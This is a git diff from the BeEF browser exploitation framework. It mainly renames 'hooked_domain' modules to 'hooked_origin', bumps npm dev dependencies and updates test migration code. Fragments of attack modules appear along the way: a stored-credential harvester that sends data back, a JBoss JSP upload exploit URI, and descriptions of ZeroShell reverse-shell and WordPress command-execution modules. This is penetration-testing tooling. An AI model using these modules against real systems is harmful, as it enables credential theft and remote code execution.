modules/browser/hooked_origin/get_page_html/module.rb diff --git a/modules/browser/hooked_domain/get_page_html_iframe/command.js b/modules/browser/hooked_origin/get_page_html_iframe/command.js similarity index 100% rename from modules/browser/hooked_domain/get_page_html_iframe/command.js rename to modules/browser/hooked_origin/get_page_html_iframe/command.js diff --git a/modules/browser/hooked_domain/get_page_html_iframe/config.yaml b/modules/browser/hooked_origin/get_page_html_iframe/config.yaml similarity index 100% rename from modules/browser/hooked_domain/get_page_html_iframe/config.yaml rename to modules/browser/hooked_origin/get_page_html_iframe/config.yaml diff --git a/modules/browser/hooked_domain/get_page_html_iframe/module.rb b/modules/browser/hooked_origin/get_page_html_iframe/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_page_html_iframe/module.rb rename to modules/browser/hooked_origin/get_page_html_iframe/module.rb diff --git a/modules/browser/hooked_domain/get_page_links/command.js b/modules/browser/hooked_origin/get_page_links/command.js similarity index 100% rename from modules/browser/hooked_domain/get_page_links/command.js rename to modules/browser/hooked_origin/get_page_links/command.js diff --git a/modules/browser/hooked_domain/get_page_links/config.yaml b/modules/browser/hooked_origin/get_page_links/config.yaml similarity index 100% rename from modules/browser/hooked_domain/get_page_links/config.yaml rename to modules/browser/hooked_origin/get_page_links/config.yaml diff --git a/modules/browser/hooked_domain/get_page_links/module.rb b/modules/browser/hooked_origin/get_page_links/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_page_links/module.rb rename to modules/browser/hooked_origin/get_page_links/module.rb diff --git a/modules/browser/hooked_domain/get_session_storage/command.js b/modules/browser/hooked_origin/get_session_storage/command.js similarity index 100% rename from modules/browser/hooked_domain/get_session_storage/command.js rename to modules/browser/hooked_origin/get_session_storage/command.js diff --git a/modules/browser/hooked_domain/get_session_storage/config.yaml b/modules/browser/hooked_origin/get_session_storage/config.yaml similarity index 100% rename from modules/browser/hooked_domain/get_session_storage/config.yaml rename to modules/browser/hooked_origin/get_session_storage/config.yaml diff --git a/modules/browser/hooked_domain/get_session_storage/module.rb b/modules/browser/hooked_origin/get_session_storage/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_session_storage/module.rb rename to modules/browser/hooked_origin/get_session_storage/module.rb diff --git a/modules/browser/hooked_domain/get_stored_credentials/command.js b/modules/browser/hooked_origin/get_stored_credentials/command.js similarity index 97% rename from modules/browser/hooked_domain/get_stored_credentials/command.js rename to modules/browser/hooked_origin/get_stored_credentials/command.js index d6a5f163a4..8d0c402095 100644 --- a/modules/browser/hooked_domain/get_stored_credentials/command.js +++ b/modules/browser/hooked_origin/get_stored_credentials/command.js @@ -59,7 +59,7 @@ beef.execute(function() { } } catch (e) { - // return if no forms were found or login page is cross-domain + // return if no forms were found or login page is cross-origin beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not read form data from '+login_url); } document.body.removeChild(iframe); diff --git a/modules/browser/hooked_domain/get_stored_credentials/config.yaml b/modules/browser/hooked_origin/get_stored_credentials/config.yaml similarity index 81% rename from modules/browser/hooked_domain/get_stored_credentials/config.yaml rename to modules/browser/hooked_origin/get_stored_credentials/config.yaml index 0ac261c1e8..fed05f79aa 100644 --- a/modules/browser/hooked_domain/get_stored_credentials/config.yaml +++ b/modules/browser/hooked_origin/get_stored_credentials/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: ["Browser", "Hooked Domain"] name: "Get Stored Credentials" - description: "This module retrieves saved username/password combinations from the login page on the hooked domain.

                                                                                                                    It will fail if more than one set of domain credentials are saved in the browser." + description: "This module retrieves saved username/password combinations from the login page on the hooked origin.

                                                                                                                    It will fail if more than one set of origin credentials are saved in the browser." authors: ["bcoles"] target: working: ["FF"] diff --git a/modules/browser/hooked_domain/get_stored_credentials/module.rb b/modules/browser/hooked_origin/get_stored_credentials/module.rb similarity index 100% rename from modules/browser/hooked_domain/get_stored_credentials/module.rb rename to modules/browser/hooked_origin/get_stored_credentials/module.rb diff --git a/modules/browser/hooked_domain/link_rewrite/command.js b/modules/browser/hooked_origin/link_rewrite/command.js similarity index 100% rename from modules/browser/hooked_domain/link_rewrite/command.js rename to modules/browser/hooked_origin/link_rewrite/command.js diff --git a/modules/browser/hooked_domain/link_rewrite/config.yaml b/modules/browser/hooked_origin/link_rewrite/config.yaml similarity index 100% rename from modules/browser/hooked_domain/link_rewrite/config.yaml rename to modules/browser/hooked_origin/link_rewrite/config.yaml diff --git a/modules/browser/hooked_domain/link_rewrite/module.rb b/modules/browser/hooked_origin/link_rewrite/module.rb similarity index 100% rename from modules/browser/hooked_domain/link_rewrite/module.rb rename to modules/browser/hooked_origin/link_rewrite/module.rb diff --git a/modules/browser/hooked_domain/link_rewrite_click_events/command.js b/modules/browser/hooked_origin/link_rewrite_click_events/command.js similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_click_events/command.js rename to modules/browser/hooked_origin/link_rewrite_click_events/command.js diff --git a/modules/browser/hooked_domain/link_rewrite_click_events/config.yaml b/modules/browser/hooked_origin/link_rewrite_click_events/config.yaml similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_click_events/config.yaml rename to modules/browser/hooked_origin/link_rewrite_click_events/config.yaml diff --git a/modules/browser/hooked_domain/link_rewrite_click_events/module.rb b/modules/browser/hooked_origin/link_rewrite_click_events/module.rb similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_click_events/module.rb rename to modules/browser/hooked_origin/link_rewrite_click_events/module.rb diff --git a/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js b/modules/browser/hooked_origin/link_rewrite_sslstrip/command.js similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_sslstrip/command.js rename to modules/browser/hooked_origin/link_rewrite_sslstrip/command.js diff --git a/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml b/modules/browser/hooked_origin/link_rewrite_sslstrip/config.yaml similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml rename to modules/browser/hooked_origin/link_rewrite_sslstrip/config.yaml diff --git a/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb b/modules/browser/hooked_origin/link_rewrite_sslstrip/module.rb similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb rename to modules/browser/hooked_origin/link_rewrite_sslstrip/module.rb diff --git a/modules/browser/hooked_domain/link_rewrite_tel/command.js b/modules/browser/hooked_origin/link_rewrite_tel/command.js similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_tel/command.js rename to modules/browser/hooked_origin/link_rewrite_tel/command.js diff --git a/modules/browser/hooked_domain/link_rewrite_tel/config.yaml b/modules/browser/hooked_origin/link_rewrite_tel/config.yaml similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_tel/config.yaml rename to modules/browser/hooked_origin/link_rewrite_tel/config.yaml diff --git a/modules/browser/hooked_domain/link_rewrite_tel/module.rb b/modules/browser/hooked_origin/link_rewrite_tel/module.rb similarity index 100% rename from modules/browser/hooked_domain/link_rewrite_tel/module.rb rename to modules/browser/hooked_origin/link_rewrite_tel/module.rb diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js b/modules/browser/hooked_origin/mobilesafari_address_spoofing/command.js similarity index 100% rename from modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js rename to modules/browser/hooked_origin/mobilesafari_address_spoofing/command.js diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_origin/mobilesafari_address_spoofing/config.yaml similarity index 100% rename from modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml rename to modules/browser/hooked_origin/mobilesafari_address_spoofing/config.yaml diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb b/modules/browser/hooked_origin/mobilesafari_address_spoofing/module.rb similarity index 100% rename from modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb rename to modules/browser/hooked_origin/mobilesafari_address_spoofing/module.rb diff --git a/modules/browser/hooked_domain/overflow_cookiejar/command.js b/modules/browser/hooked_origin/overflow_cookiejar/command.js similarity index 100% rename from modules/browser/hooked_domain/overflow_cookiejar/command.js rename to modules/browser/hooked_origin/overflow_cookiejar/command.js diff --git a/modules/browser/hooked_domain/overflow_cookiejar/config.yaml b/modules/browser/hooked_origin/overflow_cookiejar/config.yaml similarity index 100% rename from modules/browser/hooked_domain/overflow_cookiejar/config.yaml rename to modules/browser/hooked_origin/overflow_cookiejar/config.yaml diff --git a/modules/browser/hooked_domain/overflow_cookiejar/module.rb b/modules/browser/hooked_origin/overflow_cookiejar/module.rb similarity index 100% rename from modules/browser/hooked_domain/overflow_cookiejar/module.rb rename to modules/browser/hooked_origin/overflow_cookiejar/module.rb diff --git a/modules/browser/hooked_domain/prompt_dialog/command.js b/modules/browser/hooked_origin/prompt_dialog/command.js similarity index 100% rename from modules/browser/hooked_domain/prompt_dialog/command.js rename to modules/browser/hooked_origin/prompt_dialog/command.js diff --git a/modules/browser/hooked_domain/prompt_dialog/config.yaml b/modules/browser/hooked_origin/prompt_dialog/config.yaml similarity index 100% rename from modules/browser/hooked_domain/prompt_dialog/config.yaml rename to modules/browser/hooked_origin/prompt_dialog/config.yaml diff --git a/modules/browser/hooked_domain/prompt_dialog/module.rb b/modules/browser/hooked_origin/prompt_dialog/module.rb similarity index 100% rename from modules/browser/hooked_domain/prompt_dialog/module.rb rename to modules/browser/hooked_origin/prompt_dialog/module.rb diff --git a/modules/browser/hooked_domain/remove_stuck_iframes/command.js b/modules/browser/hooked_origin/remove_stuck_iframes/command.js similarity index 100% rename from modules/browser/hooked_domain/remove_stuck_iframes/command.js rename to modules/browser/hooked_origin/remove_stuck_iframes/command.js diff --git a/modules/browser/hooked_domain/remove_stuck_iframes/config.yaml b/modules/browser/hooked_origin/remove_stuck_iframes/config.yaml similarity index 100% rename from modules/browser/hooked_domain/remove_stuck_iframes/config.yaml rename to modules/browser/hooked_origin/remove_stuck_iframes/config.yaml diff --git a/modules/browser/hooked_domain/remove_stuck_iframes/module.rb b/modules/browser/hooked_origin/remove_stuck_iframes/module.rb similarity index 100% rename from modules/browser/hooked_domain/remove_stuck_iframes/module.rb rename to modules/browser/hooked_origin/remove_stuck_iframes/module.rb diff --git a/modules/browser/hooked_domain/replace_video/command.js b/modules/browser/hooked_origin/replace_video/command.js similarity index 100% rename from modules/browser/hooked_domain/replace_video/command.js rename to modules/browser/hooked_origin/replace_video/command.js diff --git a/modules/browser/hooked_domain/replace_video/config.yaml b/modules/browser/hooked_origin/replace_video/config.yaml similarity index 100% rename from modules/browser/hooked_domain/replace_video/config.yaml rename to modules/browser/hooked_origin/replace_video/config.yaml diff --git a/modules/browser/hooked_domain/replace_video/module.rb b/modules/browser/hooked_origin/replace_video/module.rb similarity index 100% rename from modules/browser/hooked_domain/replace_video/module.rb rename to modules/browser/hooked_origin/replace_video/module.rb diff --git a/modules/browser/hooked_domain/rickroll/command.js b/modules/browser/hooked_origin/rickroll/command.js similarity index 100% rename from modules/browser/hooked_domain/rickroll/command.js rename to modules/browser/hooked_origin/rickroll/command.js diff --git a/modules/browser/hooked_domain/rickroll/config.yaml b/modules/browser/hooked_origin/rickroll/config.yaml similarity index 100% rename from modules/browser/hooked_domain/rickroll/config.yaml rename to modules/browser/hooked_origin/rickroll/config.yaml diff --git a/modules/browser/hooked_domain/rickroll/module.rb b/modules/browser/hooked_origin/rickroll/module.rb similarity index 100% rename from modules/browser/hooked_domain/rickroll/module.rb rename to modules/browser/hooked_origin/rickroll/module.rb diff --git a/modules/browser/hooked_domain/site_redirect/command.js b/modules/browser/hooked_origin/site_redirect/command.js similarity index 100% rename from modules/browser/hooked_domain/site_redirect/command.js rename to modules/browser/hooked_origin/site_redirect/command.js diff --git a/modules/browser/hooked_domain/site_redirect/config.yaml b/modules/browser/hooked_origin/site_redirect/config.yaml similarity index 100% rename from modules/browser/hooked_domain/site_redirect/config.yaml rename to modules/browser/hooked_origin/site_redirect/config.yaml diff --git a/modules/browser/hooked_domain/site_redirect/module.rb b/modules/browser/hooked_origin/site_redirect/module.rb similarity index 100% rename from modules/browser/hooked_domain/site_redirect/module.rb rename to modules/browser/hooked_origin/site_redirect/module.rb diff --git a/modules/browser/hooked_domain/site_redirect_iframe/command.js b/modules/browser/hooked_origin/site_redirect_iframe/command.js similarity index 100% rename from modules/browser/hooked_domain/site_redirect_iframe/command.js rename to modules/browser/hooked_origin/site_redirect_iframe/command.js diff --git a/modules/browser/hooked_domain/site_redirect_iframe/config.yaml b/modules/browser/hooked_origin/site_redirect_iframe/config.yaml similarity index 100% rename from modules/browser/hooked_domain/site_redirect_iframe/config.yaml rename to modules/browser/hooked_origin/site_redirect_iframe/config.yaml diff --git a/modules/browser/hooked_domain/site_redirect_iframe/module.rb b/modules/browser/hooked_origin/site_redirect_iframe/module.rb similarity index 100% rename from modules/browser/hooked_domain/site_redirect_iframe/module.rb rename to modules/browser/hooked_origin/site_redirect_iframe/module.rb diff --git a/modules/exploits/jboss_jmx_upload_exploit/command.js b/modules/exploits/jboss_jmx_upload_exploit/command.js index 0a70a75976..19f99381a5 100644 --- a/modules/exploits/jboss_jmx_upload_exploit/command.js +++ b/modules/exploits/jboss_jmx_upload_exploit/command.js @@ -33,7 +33,7 @@ beef.execute(function() { uri = "/jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=%2Fconsole-mgr.sar/web-console.war%2F&arg1=" + jspName + "&arg2=.jsp&arg3=" + payload + "&arg4=True"; - /* always use dataType: script when doing cross-domain XHR, otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event*/ + /* always use dataType: script when doing cross-origin XHR, otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event*/ beef.net.forge_request("http", "HEAD", rhost, rport, uri, null, null, null, 10, 'script', true, null,function(response){ if(response.status_code == 200){ function triggerReverseConn(){ diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml index aade2b4566..356a98233d 100644 --- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml +++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Reverse Shell CSRF SOP Bypass" - description: "Attempts to get a reverse shell on a ZeroShell <= 2.0RC2 without known credentials
                                                                                                                    This module bypass SOP, so you can use it from another hooked domain.
                                                                                                                    Vulnerability found and PoC provided by Yann CAM @ASafety / Synetis.
                                                                                                                    BeEF module originally created by ycam.
                                                                                                                    For more information refer to http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt
                                                                                                                    Patched in version 2.0RC3.
                                                                                                                    " + description: "Attempts to get a reverse shell on a ZeroShell <= 2.0RC2 without known credentials
                                                                                                                    This module bypass SOP, so you can use it from another hooked origin.
                                                                                                                    Vulnerability found and PoC provided by Yann CAM @ASafety / Synetis.
                                                                                                                    BeEF module originally created by ycam.
                                                                                                                    For more information refer to http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt
                                                                                                                    Patched in version 2.0RC3.
                                                                                                                    " authors: ["ycam"] target: working: ["FF"] diff --git a/modules/misc/wordpress/upload_rce_plugin/config.yaml b/modules/misc/wordpress/upload_rce_plugin/config.yaml index d346015a30..5c8171e16f 100644 --- a/modules/misc/wordpress/upload_rce_plugin/config.yaml +++ b/modules/misc/wordpress/upload_rce_plugin/config.yaml @@ -14,7 +14,7 @@ beef: Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php, and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option. However, there are more stealthy ways to send the POST request to execute the command, depending on the target. - CORS headers have been added to allow bidirectional crossdomain communication. + CORS headers have been added to allow bidirectional crossorigin communication. authors: ['Bart Leppens', 'Erwan LR'] target: working: ['ALL'] diff --git a/modules/misc/wordpress_post_auth_rce/config.yaml b/modules/misc/wordpress_post_auth_rce/config.yaml index 5baf5ec8a6..048accce3e 100644 --- a/modules/misc/wordpress_post_auth_rce/config.yaml +++ b/modules/misc/wordpress_post_auth_rce/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Misc" name: "Wordpress Post-Auth RCE" - description: "This module attempts to upload and activate a malicious wordpress plugin. Afterwards, the URI to trigger it is: http://vulnerable-wordpress.site/wordpress/wp-content/plugins/beefbind/beefbind.php. The command to execute can be send by a POST-parameter named 'cmd'. CORS headers have been added to allow bidirectional crossdomain communication." + description: "This module attempts to upload and activate a malicious wordpress plugin. Afterwards, the URI to trigger it is: http://vulnerable-wordpress.site/wordpress/wp-content/plugins/beefbind/beefbind.php. The command to execute can be send by a POST-parameter named 'cmd'. CORS headers have been added to allow bidirectional crossorigin communication." authors: ["Bart Leppens"] target: working: ["ALL"] diff --git a/package-lock.json b/package-lock.json index a0bc1d79b1..07afe1c101 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,7 @@ "license": "GNU General Public License v2.0", "devDependencies": { "jsdoc": "^4.0.0", - "jsdoc-to-markdown": "^9.0.2" + "jsdoc-to-markdown": "^9.0.5" } }, "node_modules/@babel/helper-string-parser": { @@ -259,18 +259,26 @@ "dev": true }, "node_modules/command-line-args": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-6.0.0.tgz", - "integrity": "sha512-zDdHxHzlCp/gA1gy0VtPK3YL0Aob3ijJdwZ7H3HSl55hh8EziLtRlyj/od8EGRJfX8IjussC/mQkScl2Ms5Suw==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-6.0.1.tgz", + "integrity": "sha512-Jr3eByUjqyK0qd8W0SGFW1nZwqCaNCtbXjRo2cRJC1OYxWl3MZ5t1US3jq+cO4sPavqgw4l9BMGX0CBe+trepg==", "dev": true, "dependencies": { "array-back": "^6.2.2", - "find-replace": "^5.0.1", + "find-replace": "^5.0.2", "lodash.camelcase": "^4.3.0", - "typical": "^7.1.1" + "typical": "^7.2.0" }, "engines": { "node": ">=12.20" + }, + "peerDependencies": { + "@75lb/nature": "latest" + }, + "peerDependenciesMeta": { + "@75lb/nature": { + "optional": true + } } }, "node_modules/command-line-usage": { @@ -534,9 +542,9 @@ } }, "node_modules/jsdoc": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-4.0.3.tgz", - "integrity": "sha512-Nu7Sf35kXJ1MWDZIMAuATRQTg1iIPdzh7tqJ6jjvaU/GfDf+qi5UV8zJR3Mo+/pYFvm8mzay4+6O5EWigaQBQw==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-4.0.4.tgz", + "integrity": "sha512-zeFezwyXeG4syyYHbvh1A967IAqq/67yXtXvuL5wnqCkFZe8I0vKfm+EO+YEvLguo6w9CDUbrAXVtJSHh2E8rw==", "dev": true, "dependencies": { "@babel/parser": "^7.20.15", @@ -563,16 +571,16 @@ } }, "node_modules/jsdoc-api": { - "version": "9.3.1", - "resolved": "https://registry.npmjs.org/jsdoc-api/-/jsdoc-api-9.3.1.tgz", - "integrity": "sha512-pgZ5nrLnzF8Swxbv5OV8RYAoM/S3Cbf1UHncNYMRCQwU4KlCfg5bz5/VZlg0a1EATSHclIBf9Hm55GkXz0VItA==", + "version": "9.3.4", + "resolved": "https://registry.npmjs.org/jsdoc-api/-/jsdoc-api-9.3.4.tgz", + "integrity": "sha512-di8lggLACEttpyAZ6WjKKafUP4wC4prAGjt40nMl7quDpp2nD7GmLt6/WxhRu9Q6IYoAAySsNeidBXYVAMwlqg==", "dev": true, "dependencies": { "array-back": "^6.2.2", "cache-point": "^3.0.0", "current-module-paths": "^1.1.2", - "file-set": "^5.2.0", - "jsdoc": "^4.0.3", + "file-set": "^5.2.2", + "jsdoc": "^4.0.4", "object-to-spawn-args": "^2.0.1", "walk-back": "^5.1.1" }, @@ -604,17 +612,17 @@ } }, "node_modules/jsdoc-to-markdown": { - "version": "9.0.2", - "resolved": "https://registry.npmjs.org/jsdoc-to-markdown/-/jsdoc-to-markdown-9.0.2.tgz", - "integrity": "sha512-4T/7sCxq5RDXT37inCpVLetXOyjaFCMtVYH4Yvyfk/0v2aksMn74FqYdtSOc/+wceu+5ItJop6krCtGZjpJTxA==", + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/jsdoc-to-markdown/-/jsdoc-to-markdown-9.0.5.tgz", + "integrity": "sha512-lqvKgSva+wGUusRz6xtImdM92lrjHNmyi7LyWdLMQBijCnoFwTZjNF3zUqm6uahsSaRALQNyzGXmjaef6IUE4g==", "dev": true, "dependencies": { "array-back": "^6.2.2", - "command-line-args": "^6.0.0", + "command-line-args": "^6.0.1", "command-line-usage": "^7.0.3", "config-master": "^3.1.0", "dmd": "^7.0.7", - "jsdoc-api": "^9.3.1", + "jsdoc-api": "^9.3.4", "jsdoc-parse": "^6.2.4", "walk-back": "^5.1.1" }, diff --git a/package.json b/package.json index 7b08e8ce81..899e04e549 100644 --- a/package.json +++ b/package.json @@ -9,7 +9,7 @@ "license": "GNU General Public License v2.0", "devDependencies": { "jsdoc": "^4.0.0", - "jsdoc-to-markdown": "^9.0.2" + "jsdoc-to-markdown": "^9.0.5" }, "dependencies": {} } diff --git a/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb b/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb index 5d4d997899..38ba96a625 100644 --- a/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb +++ b/spec/beef/core/main/autorun_engine/autorun_engine_spec.rb @@ -42,15 +42,15 @@ # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil - OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end - context = ActiveRecord::Migration.new.migration_context - ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration? + ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] + context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) + ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate if context.needs_migration? BeEF::Core::Migration.instance.update_db! diff --git a/spec/beef/core/main/command_spec.rb b/spec/beef/core/main/command_spec.rb index ad68e9a656..476bf6f2b2 100644 --- a/spec/beef/core/main/command_spec.rb +++ b/spec/beef/core/main/command_spec.rb @@ -6,7 +6,7 @@ command_mock = BeEF::Core::Command.new('test_get_variable') expect(command_mock.config.beef_host).to eq('0.0.0.0') - require 'modules/browser/hooked_domain/get_page_links/module' + require 'modules/browser/hooked_origin/get_page_links/module' gpl = Get_page_links.new('test_get_variable') expect(gpl.config.beef_host).to eq('0.0.0.0') end diff --git a/spec/beef/core/main/handlers/browser_details_handler_spec.rb b/spec/beef/core/main/handlers/browser_details_handler_spec.rb index cc172e8719..943f53f06f 100644 --- a/spec/beef/core/main/handlers/browser_details_handler_spec.rb +++ b/spec/beef/core/main/handlers/browser_details_handler_spec.rb @@ -41,15 +41,17 @@ # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil - OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end - context = ActiveRecord::Migration.new.migration_context - ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration? + + # Migrate (if required) + ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] + context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) + ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate if context.needs_migration? BeEF::Core::Migration.instance.update_db! diff --git a/spec/beef/extensions/requester_spec.rb b/spec/beef/extensions/requester_spec.rb index 6a92982241..6522247745 100644 --- a/spec/beef/extensions/requester_spec.rb +++ b/spec/beef/extensions/requester_spec.rb @@ -34,13 +34,13 @@ # Connect to DB ActiveRecord::Base.logger = nil - OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: 'beef.db') OTR::ActiveRecord.establish_connection! if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') # Migrate if required - context = ActiveRecord::Migration.new.migration_context - ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration? + ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] + context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) + ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate if context.needs_migration? # Start HTTP hook server http_hook_server = BeEF::Core::Server.instance diff --git a/spec/beef/extensions/websocket_hooked_browser_spec.rb b/spec/beef/extensions/websocket_hooked_browser_spec.rb index 774cf1447b..59354befc6 100644 --- a/spec/beef/extensions/websocket_hooked_browser_spec.rb +++ b/spec/beef/extensions/websocket_hooked_browser_spec.rb @@ -41,15 +41,17 @@ end # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil - OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end - context = ActiveRecord::Migration.new.migration_context - ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration? + + ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] + context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) + ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate if context.needs_migration? + BeEF::Core::Migration.instance.update_db! # Spawn HTTP Server print_info 'Starting HTTP Hook Server' diff --git a/spec/beef/extensions/xssrays_spec.rb b/spec/beef/extensions/xssrays_spec.rb index 4715f890b9..b9d3673b6d 100644 --- a/spec/beef/extensions/xssrays_spec.rb +++ b/spec/beef/extensions/xssrays_spec.rb @@ -16,7 +16,7 @@ config = @config.get('beef.extension.xssrays') expect(config).to have_key('enable') expect(config).to have_key('clean_timeout') - expect(config).to have_key('cross_domain') + expect(config).to have_key('cross_origin') end it 'interface' do diff --git a/spec/beef/modules/debug/test_beef_debugs_spec.rb b/spec/beef/modules/debug/test_beef_debugs_spec.rb index b1e7fce947..c67ffc5839 100644 --- a/spec/beef/modules/debug/test_beef_debugs_spec.rb +++ b/spec/beef/modules/debug/test_beef_debugs_spec.rb @@ -39,15 +39,16 @@ # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil - OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end - context = ActiveRecord::Migration.new.migration_context - ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate if context.needs_migration? + + ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] + context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) + ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate if context.needs_migration? BeEF::Core::Migration.instance.update_db! @@ -90,10 +91,17 @@ # Grab Command Module IDs as they can differ from machine to machine @debug_mod_ids = JSON.parse(RestClient.get("#{RESTAPI_MODULES}?token=#{@token}")) @debug_mod_names_ids = {} - @debug_mods = @debug_mod_ids.to_a.select { |cmd_mod| cmd_mod[1]['category'] == 'Debug' } - .map do |debug_mod| - @debug_mod_names_ids[debug_mod[1]['class']] = debug_mod[1]['id'] - end + @debug_mods = @debug_mod_ids.to_a.select do |cmd_mod| + category = Array(cmd_mod['category']) + category_string = if category.is_a?(Array) + category.join(', ') + else + category.to_s + end + category_string.include?('Debug') + end.map do |debug_mod| + @debug_mod_names_ids[debug_mod['class']] = debug_mod['id'] + end rescue StandardError => e print_info "Exception: #{e}" print_info "Exception Class: #{e.class}" diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 750a638672..56e3edf462 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -50,7 +50,6 @@ def reset! ## DB config ActiveRecord::Base.logger = nil -OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')] OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: ':memory:') # otr-activerecord requires manually establishing the connection with the following line @@ -62,7 +61,8 @@ def reset! # Migrate (if required) ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages -context = ActiveRecord::Migration.new.migration_context +ActiveRecord::Migrator.migrations_paths = 